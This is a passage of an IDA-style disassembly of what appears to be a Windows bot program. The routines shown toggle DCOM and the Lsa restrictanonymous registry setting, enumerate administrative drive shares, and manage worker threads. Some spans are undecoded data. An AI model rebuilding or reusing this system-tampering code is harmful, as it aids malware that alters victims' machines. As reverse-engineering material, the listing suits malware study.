push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call ds:dword_42F72C
test eax, eax
jz short loc_412B2B
push offset unk_42CC34
jmp short loc_412B30
; ---------------------------------------------------------------------------
loc_412B2B: ; CODE XREF: sub_412A1E+104j
push offset unk_42CBEC
loc_412B30: ; CODE XREF: sub_412A1E+10Bj
lea eax, [ebp+var_214]
push eax
call sub_4135AD
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_42F6E4
jmp short loc_412B63
; ---------------------------------------------------------------------------
loc_412B49: ; CODE XREF: sub_412A1E+E2j
push offset unk_42CB9C
jmp short loc_412B55
; ---------------------------------------------------------------------------
loc_412B50: ; CODE XREF: sub_412A1E+13j
push offset unk_42CB58
loc_412B55: ; CODE XREF: sub_412A1E+130j
lea eax, [ebp+var_214]
push eax
call sub_4135AD
pop ecx
pop ecx
loc_412B63: ; CODE XREF: sub_412A1E+129j
cmp [ebp+arg_C], edi
jnz short loc_412B82
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 14h
loc_412B82: ; CODE XREF: sub_412A1E+148j
lea eax, [ebp+var_214]
push eax
call sub_409615
cmp ds:dword_42F800, edi
pop ecx
jnz loc_412CFD
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_412BA5: ; CODE XREF: sub_412A1E+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call ds:dword_42F654
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_412C42
cmp eax, 0EAh
jz short loc_412C42
mov esi, offset off_42C9A8
loc_412BD6: ; CODE XREF: sub_412A1E+21Dj
push dword ptr [esi]
push edi
call sub_411701
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_412BED
push offset unk_42CB20
jmp short loc_412BF2
; ---------------------------------------------------------------------------
loc_412BED: ; CODE XREF: sub_412A1E+1C6j
push offset unk_42CAE0
loc_412BF2: ; CODE XREF: sub_412A1E+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_413B2A
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_412C25
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 14h
loc_412C25: ; CODE XREF: sub_412A1E+1EBj
lea eax, [ebp+var_214]
push eax
call sub_409615
add esi, 8
pop ecx
cmp esi, offset dword_42C9C8
jl short loc_412BD6
jmp loc_412CDA
; ---------------------------------------------------------------------------
loc_412C42: ; CODE XREF: sub_412A1E+1AAj
; sub_412A1E+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_412CD1
loc_412C51: ; CODE XREF: sub_412A1E+2AFj
mov edi, [esi]
push edi
call sub_415A6C
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_412CC6
push edi
call sub_4115EE
push eax
push 0
call sub_411701
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_412C80
push offset unk_42CAA8
jmp short loc_412C85
; ---------------------------------------------------------------------------
loc_412C80: ; CODE XREF: sub_412A1E+259j
push offset unk_42CA68
loc_412C85: ; CODE XREF: sub_412A1E+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_413B2A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_412CB9
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 14h
loc_412CB9: ; CODE XREF: sub_412A1E+27Fj
lea eax, [ebp+var_214]
push eax
call sub_409615
pop ecx
loc_412CC6: ; CODE XREF: sub_412A1E+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_412C51
xor edi, edi
loc_412CD1: ; CODE XREF: sub_412A1E+22Dj
push [ebp+var_8]
call ds:dword_42F798
loc_412CDA: ; CODE XREF: sub_412A1E+21Fj
cmp [ebp+var_10], 0EAh
jz loc_412BA5
lea eax, [ebp+var_214]
push offset unk_42CA2C
push eax
call sub_4135AD
pop ecx
pop ecx
pop ebx
jmp short loc_412D10
; ---------------------------------------------------------------------------
loc_412CFD: ; CODE XREF: sub_412A1E+177j
lea eax, [ebp+var_214]
push offset unk_42C9E8
push eax
call sub_4135AD
pop ecx
pop ecx
loc_412D10: ; CODE XREF: sub_412A1E+2DDj
cmp [ebp+arg_C], edi
jnz short loc_412D2E
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 14h
loc_412D2E: ; CODE XREF: sub_412A1E+2F5j
lea eax, [ebp+var_214]
push eax
call sub_409615
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_412A1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412D42 proc near ; CODE XREF: sub_4129BE:loc_412A05p
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp ds:dword_42F7D8, ebx
push esi
jnz loc_412E70
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call ds:dword_42F778
test eax, eax
jnz short loc_412DCD
mov ax, ds:word_42CF58
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call ds:dword_42F72C
test eax, eax
jz short loc_412DAF
push offset unk_42CF20
jmp short loc_412DB4
; ---------------------------------------------------------------------------
loc_412DAF: ; CODE XREF: sub_412D42+64j
push offset dword_42CEF0
loc_412DB4: ; CODE XREF: sub_412D42+6Bj
lea eax, [ebp+var_220]
push eax
call sub_4135AD
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_42F6E4
jmp short loc_412DE0
; ---------------------------------------------------------------------------
loc_412DCD: ; CODE XREF: sub_412D42+36j
lea eax, [ebp+var_220]
push offset unk_42CC98
push eax
call sub_4135AD
pop ecx
pop ecx
loc_412DE0: ; CODE XREF: sub_412D42+89j
cmp [ebp+arg_C], ebx
jnz short loc_412DFF
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 14h
loc_412DFF: ; CODE XREF: sub_412D42+A1j
lea eax, [ebp+var_220]
push eax
call sub_409615
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call ds:dword_42F778
test eax, eax
jnz short loc_412E69
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call ds:dword_42F72C
test eax, eax
jz short loc_412E4B
push offset unk_42CEA0
jmp short loc_412E50
; ---------------------------------------------------------------------------
loc_412E4B: ; CODE XREF: sub_412D42+100j
push offset unk_42CE58
loc_412E50: ; CODE XREF: sub_412D42+107j
lea eax, [ebp+var_220]
push eax
call sub_4135AD
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_42F6E4
jmp short loc_412E83
; ---------------------------------------------------------------------------
loc_412E69: ; CODE XREF: sub_412D42+E2j
push offset unk_42CE08
jmp short loc_412E75
; ---------------------------------------------------------------------------
loc_412E70: ; CODE XREF: sub_412D42+13j
push offset unk_42CB58
loc_412E75: ; CODE XREF: sub_412D42+12Cj
lea eax, [ebp+var_220]
push eax
call sub_4135AD
pop ecx
pop ecx
loc_412E83: ; CODE XREF: sub_412D42+125j
cmp [ebp+arg_C], ebx
jnz short loc_412EA2
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 14h
loc_412EA2: ; CODE XREF: sub_412D42+144j
lea eax, [ebp+var_220]
push eax
call sub_409615
cmp ds:dword_42F800, ebx
pop ecx
jnz loc_413014
push edi
mov esi, offset off_42C9A8
mov edi, 200h
loc_412EC6: ; CODE XREF: sub_412D42+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_411655
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_412EE1
push offset unk_42CDD4
jmp short loc_412EE6
; ---------------------------------------------------------------------------
loc_412EE1: ; CODE XREF: sub_412D42+196j
push offset unk_42CD98
loc_412EE6: ; CODE XREF: sub_412D42+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_413B2A
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_412F15
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 14h
loc_412F15: ; CODE XREF: sub_412D42+1B7j
lea eax, [ebp+var_220]
push eax
call sub_409615
add esi, 8
pop ecx
cmp esi, offset off_42C9B8
jl short loc_412EC6
call near ptr 0A70000h
cdq
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_412FFC
loc_412F40: ; CODE XREF: sub_412D42+2B4j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_412FF1
loc_412F4E: ; DATA XREF: seg002:off_4278CCo
cmp bl, 41h
jz loc_412FF1
movsx esi, bl
push esi
push offset aC_0 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_413B2A
push esi
push offset aC ; "%c:\\"
lea eax, [ebp+var_20]
push 0Ah
push eax
call sub_413B2A
add esp, 20h
lea eax, [ebp+var_20]
push eax
call ds:dword_42F768
cmp eax, 3
jnz short loc_412FF1
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_411655
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_412FAF
push offset unk_42CDD4
jmp short loc_412FB4
; ---------------------------------------------------------------------------
loc_412FAF: ; CODE XREF: sub_412D42+264j
push offset unk_42CD98
loc_412FB4: ; CODE XREF: sub_412D42+26Bj
lea eax, [ebp+var_220]
push edi
push eax
call sub_413B2A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_412FE4
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 14h
loc_412FE4: ; CODE XREF: sub_412D42+286j
lea eax, [ebp+var_220]
push eax
call sub_409615
pop ecx
loc_412FF1: ; CODE XREF: sub_412D42+206j
; sub_412D42+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_412F40
loc_412FFC: ; CODE XREF: sub_412D42+1F8j
lea eax, [ebp+var_220]
push offset unk_42CD54
push eax
call sub_4135AD
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_413027
; ---------------------------------------------------------------------------
loc_413014: ; CODE XREF: sub_412D42+173j
lea eax, [ebp+var_220]
push offset unk_42C9E8
push eax
call sub_4135AD
pop ecx
pop ecx
loc_413027: ; CODE XREF: sub_412D42+2D0j
cmp [ebp+arg_C], ebx
jnz short loc_413045
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 14h
loc_413045: ; CODE XREF: sub_412D42+2E8j
lea eax, [ebp+var_220]
push eax
call sub_409615
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_412D42 endp
; =============== S U B R O U T I N E =======================================
sub_413059 proc near ; CODE XREF: seg000:004047C8p
; sub_40571E+31Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_434698
loc_413061: ; CODE XREF: sub_413059+18j
cmp byte ptr [eax], 0
jz short loc_413075
add eax, 234h
inc edi
cmp eax, offset dword_45DB88
jl short loc_413061
jmp short loc_4130C0
; ---------------------------------------------------------------------------
loc_413075: ; CODE XREF: sub_413059+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_434698[esi]
push eax
call sub_414DD0
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov ds:dword_434898[esi], eax
and ds:dword_43489C[esi], 0
mov eax, [esp+8+arg_8]
and ds:dword_4348A0[esi], 0
mov ds:dword_4348A4[esi], eax
and ds:byte_4348B0[esi], 0
pop esi
loc_4130C0: ; CODE XREF: sub_413059+1Aj
mov eax, edi
pop edi
retn
sub_413059 endp
; ---------------------------------------------------------------------------
dword_4130C4 dd 81EC8B55h, 98ECh, 8458B00h, 266A5756h, 8DF08B59h, 0FFFF68BDh
; DATA XREF: seg000:00410990o
dd 0FFA5F3FFh, 80C7F075h, 94h, 1, 0FF6C858Dh, 75FFFFFFh
dd 0B5FF50F4h, 0FFFFFF68h, 15E8h, 0EC75FF00h, 26CE8h, 14C48300h
dd 0EDE8006Ah, 170065CEh, 8B555E5Fh, 0EC81ECh, 56000002h
dd 0FF006A57h, 50681075h, 0FF0042D0h, 75FF0C75h, 0DF7AE808h
dd 0C483FFFFh, 0BEFF3314h, 434698h, 74003E80h, 147D833Ch
dd 83097500h, 204BEh, 2D750000h, 858D5756h, 0FFFFFE00h
dd 42B00868h, 46E85000h, 6A000004h, 858D01h, 0FFFFFFFEh
dd 0FF501075h, 75FF0C75h, 0DF32E808h, 0C483FFFFh, 34C68124h
dd 47000002h, 0DB88FE81h, 0B07C0045h, 0C3C95E5Fh
; =============== S U B R O U T I N E =======================================
sub_413194 proc near ; CODE XREF: seg000:0040FD71p
; sub_413222+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_41321C
cmp esi, 12Ch
jge short loc_41321C
imul esi, 234h
push edi
push ebx
push ds:dword_4348AC[esi]
lea edi, dword_4348AC[esi]
call near ptr 0A70000h
or [ecx], edi
pop ds
jz short loc_4131CC
push 1
pop ebp
loc_4131CC: ; CODE XREF: sub_413194+33j
mov [edi], ebx
lea edi, dword_4348A0[esi]
mov ds:dword_434898[esi], ebx
mov ds:dword_43489C[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_4131ED
push eax
call near ptr sub_4123C5
pop ecx
loc_4131ED: ; CODE XREF: sub_413194+50j
mov [edi], ebx
lea edi, dword_4348A4[esi]
mov byte ptr ds:dword_434698[esi], bl
mov ds:byte_4348B0[esi], bl
push dword ptr [edi]
call ds:dword_42F7A0
lea esi, dword_4348A8[esi]
mov [edi], ebx
push dword ptr [esi]
call ds:dword_42F7A0
mov [esi], ebx
pop edi
loc_41321C: ; CODE XREF: sub_413194+Dj
; sub_413194+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_413194 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_413222 proc near ; CODE XREF: sub_4082BD:loc_4082E1p
; sub_40AA28+18p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_434698
loc_41322E: ; CODE XREF: sub_413222+2Aj
cmp byte ptr [esi], 0
jz short loc_41323F
push edi
call sub_413194
test eax, eax
pop ecx
jz short loc_41323F
inc ebx
loc_41323F: ; CODE XREF: sub_413222+Fj
; sub_413222+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_45DB88
jl short loc_41322E
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_413222 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413254 proc near ; CODE XREF: seg000:0040D024p
; seg000:0040D092p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_43489C
loc_413268: ; CODE XREF: sub_413254+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_41328A
test edi, edi
jle short loc_41327C
cmp [esi], edi
jz short loc_41327C
cmp ebx, edi
jnz short loc_41328A
loc_41327C: ; CODE XREF: sub_413254+1Ej
; sub_413254+22j
push ebx
call sub_413194
test eax, eax
pop ecx
jz short loc_41328A
inc [ebp+var_4]
loc_41328A: ; CODE XREF: sub_413254+1Aj
; sub_413254+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_45DD8C
jl short loc_413268
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_413254 endp
; =============== S U B R O U T I N E =======================================
sub_4132A1 proc near ; CODE XREF: sub_4056A7+Bp
; sub_40571E+2Dp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_434898
loc_4132A8: ; CODE XREF: sub_4132A1+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_4132B1
inc eax
loc_4132B1: ; CODE XREF: sub_4132A1+Dj
add ecx, 234h
cmp ecx, offset dword_45DD88
jl short loc_4132A8
retn
sub_4132A1 endp
; =============== S U B R O U T I N E =======================================
sub_4132C0 proc near ; CODE XREF: seg000:0041044Ap
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_434898
loc_4132CA: ; CODE XREF: sub_4132C0+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_4132E3
add ecx, 234h
inc edx
cmp ecx, offset dword_45DD88
jl short loc_4132CA
pop esi
retn
; ---------------------------------------------------------------------------
loc_4132E3: ; CODE XREF: sub_4132C0+10j
mov eax, edx
pop esi
retn
sub_4132C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4132E7 proc near ; CODE XREF: seg000:0040C3BDp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_413300
push [ebp+arg_1C]
call sub_413B1F
pop ecx
loc_413300: ; CODE XREF: sub_4132E7+Ej
push eax
push [ebp+arg_18]
call sub_413254
pop ecx
test eax, eax
pop ecx
jle short loc_41332C
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"...
push eax
call sub_4135AD
add esp, 14h
jmp short loc_413346
; ---------------------------------------------------------------------------
loc_41332C: ; CODE XREF: sub_4132E7+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s: No %s thread found."
push eax
call sub_4135AD
add esp, 10h
loc_413346: ; CODE XREF: sub_4132E7+43j
cmp [ebp+arg_C], 0
jnz short loc_413366
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 14h
loc_413366: ; CODE XREF: sub_4132E7+63j
lea eax, [ebp+var_200]
push eax
call sub_409615
pop ecx
leave
retn
sub_4132E7 endp
; =============== S U B R O U T I N E =======================================
sub_413375 proc near ; CODE XREF: start+A2p
; seg000:004014D4p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov ds:dword_4348AC[eax], ecx
mov ds:dword_434898[eax], ecx
mov ds:dword_43489C[eax], ecx
mov ds:dword_4348A0[eax], ecx
mov ds:dword_4348A4[eax], ecx
mov ds:dword_4348A8[eax], ecx
mov byte ptr ds:dword_434698[eax], cl
mov ds:byte_4348B0[eax], cl
retn
sub_413375 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4133B2 proc near ; CODE XREF: seg000:00410F55p
; sub_4134E0+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_4133BC: ; CODE XREF: sub_4133B2+68j
mov cl, [esi]
test cl, cl
jz short loc_41341C
cmp eax, 1
jnz short loc_41341C
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_41341C
cmp cl, 2Ah
jz short loc_413403
cmp cl, 3Fh
jz short loc_4133E6
cmp cl, 5Bh
jz short loc_4133EB
xor eax, eax
cmp cl, dl
setz al
loc_4133E6: ; CODE XREF: sub_4133B2+26j
inc [ebp+arg_4]
jmp short loc_413416
; ---------------------------------------------------------------------------
loc_4133EB: ; CODE XREF: sub_4133B2+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_413448
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_413416
; ---------------------------------------------------------------------------
loc_413403: ; CODE XREF: sub_4133B2+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_4134E0
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_413416: ; CODE XREF: sub_4133B2+37j
; sub_4133B2+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_4133BC
; ---------------------------------------------------------------------------
loc_41341C: ; CODE XREF: sub_4133B2+Ej
; sub_4133B2+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_41342C
cmp eax, 1
jnz short loc_413443
inc esi
mov [ebp+arg_0], esi
jmp short loc_41341C
; ---------------------------------------------------------------------------
loc_41342C: ; CODE XREF: sub_4133B2+6Dj
cmp eax, 1
jnz short loc_413443
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_413443
cmp byte ptr [esi], 0
jnz short loc_413443
push 1
pop eax
jmp short loc_413445
; ---------------------------------------------------------------------------
loc_413443: ; CODE XREF: sub_4133B2+72j
; sub_4133B2+7Dj ...
xor eax, eax
loc_413445: ; CODE XREF: sub_4133B2+8Fj
pop esi
pop ebp
retn
sub_4133B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413448 proc near ; CODE XREF: sub_4133B2+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_413469
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_413469: ; CODE XREF: sub_413448+19j
push ebx
push esi
loc_41346B: ; CODE XREF: sub_413448+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_413479
cmp [ebp+var_4], eax
jnz short loc_4134C5
loc_413479: ; CODE XREF: sub_413448+2Aj
test edi, edi
jnz short loc_4134BA
cmp bl, 2Dh
jnz short loc_4134AE
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_4134AE
cmp al, 5Dh
jz short loc_4134AE
cmp [ebp+var_4], edi
jnz short loc_4134AE
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_4134BA
cmp bl, al
jg short loc_4134BA
push 1
mov [edx], esi
pop edi
jmp short loc_4134BA
; ---------------------------------------------------------------------------
loc_4134AE: ; CODE XREF: sub_413448+38j
; sub_413448+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_4134BA
push 1
pop edi
loc_4134BA: ; CODE XREF: sub_413448+33j
; sub_413448+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_41346B
; ---------------------------------------------------------------------------
loc_4134C5: ; CODE XREF: sub_413448+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_4134D2
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_4134D2: ; CODE XREF: sub_413448+82j
cmp edi, eax
jnz short loc_4134DB
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_4134DB: ; CODE XREF: sub_413448+8Cj
mov eax, edi
pop edi
leave
retn
sub_413448 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4134E0 proc near ; CODE XREF: sub_4133B2+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_4134FC: ; CODE XREF: sub_4134E0+3Aj
cmp [eax], bl
jz short loc_41351C
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_413511
cmp cl, 2Ah
jnz short loc_41351C
cmp cl, 3Fh
jnz short loc_413514
loc_413511: ; CODE XREF: sub_4134E0+25j
inc eax
mov [edi], eax
loc_413514: ; CODE XREF: sub_4134E0+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_4134FC
; ---------------------------------------------------------------------------
loc_41351C: ; CODE XREF: sub_4134E0+1Ej
; sub_4134E0+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_413527
inc dword ptr [esi]
jmp short loc_41351C
; ---------------------------------------------------------------------------
loc_413527: ; CODE XREF: sub_4134E0+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_413548
mov edx, [esi]
cmp [edx], bl
jz short loc_413539
xor eax, eax
jmp short loc_4135A8
; ---------------------------------------------------------------------------
loc_413539: ; CODE XREF: sub_4134E0+53j
cmp cl, bl
jnz short loc_413548
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_413548
push 1
pop eax
jmp short loc_4135A8
; ---------------------------------------------------------------------------
loc_413548: ; CODE XREF: sub_4134E0+4Dj
; sub_4134E0+5Bj ...
push eax
push dword ptr [esi]
call sub_4133B2
pop ecx
test eax, eax
pop ecx
jnz short loc_413592
loc_413556: ; CODE XREF: sub_4134E0+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_41355A: ; CODE XREF: sub_4134E0+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_413572
cmp cl, 5Bh
jz short loc_413572
cmp dl, bl
jz short loc_413572
inc eax
mov [edi], eax
jmp short loc_41355A
; ---------------------------------------------------------------------------
loc_413572: ; CODE XREF: sub_4134E0+82j
; sub_4134E0+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_413589
push eax
push dword ptr [esi]
call sub_4133B2
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_41358E
; ---------------------------------------------------------------------------
loc_413589: ; CODE XREF: sub_4134E0+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_41358E: ; CODE XREF: sub_4134E0+A7j
cmp eax, ebx
jnz short loc_413556
loc_413592: ; CODE XREF: sub_4134E0+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_4135A5
mov eax, [esi]
cmp [eax], bl
jnz short loc_4135A5
mov [ebp+var_4], 1
loc_4135A5: ; CODE XREF: sub_4134E0+B6j
; sub_4134E0+BCj
mov eax, [ebp+var_4]
loc_4135A8: ; CODE XREF: sub_4134E0+57j
; sub_4134E0+66j
pop edi
pop esi
pop ebx
leave
retn
sub_4134E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4135AD proc near ; CODE XREF: start+61p
; seg000:004013BAp ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_415DDC
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_4135ED
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_4135FA
; ---------------------------------------------------------------------------
loc_4135ED: ; CODE XREF: sub_4135AD+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_415CC7
pop ecx
pop ecx
loc_4135FA: ; CODE XREF: sub_4135AD+3Ej
mov eax, esi
pop esi
leave
retn
sub_4135AD endp
; =============== S U B R O U T I N E =======================================
sub_4135FF proc near ; CODE XREF: start+2Ep
; seg000:00401C1Cp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ds:dword_42D0A0, eax
retn
sub_4135FF endp
; =============== S U B R O U T I N E =======================================
sub_413609 proc near ; CODE XREF: seg000:0040117Dp
; seg000:004011F1p ...
mov eax, ds:dword_42D0A0
imul eax, 343FDh
add eax, 269EC3h
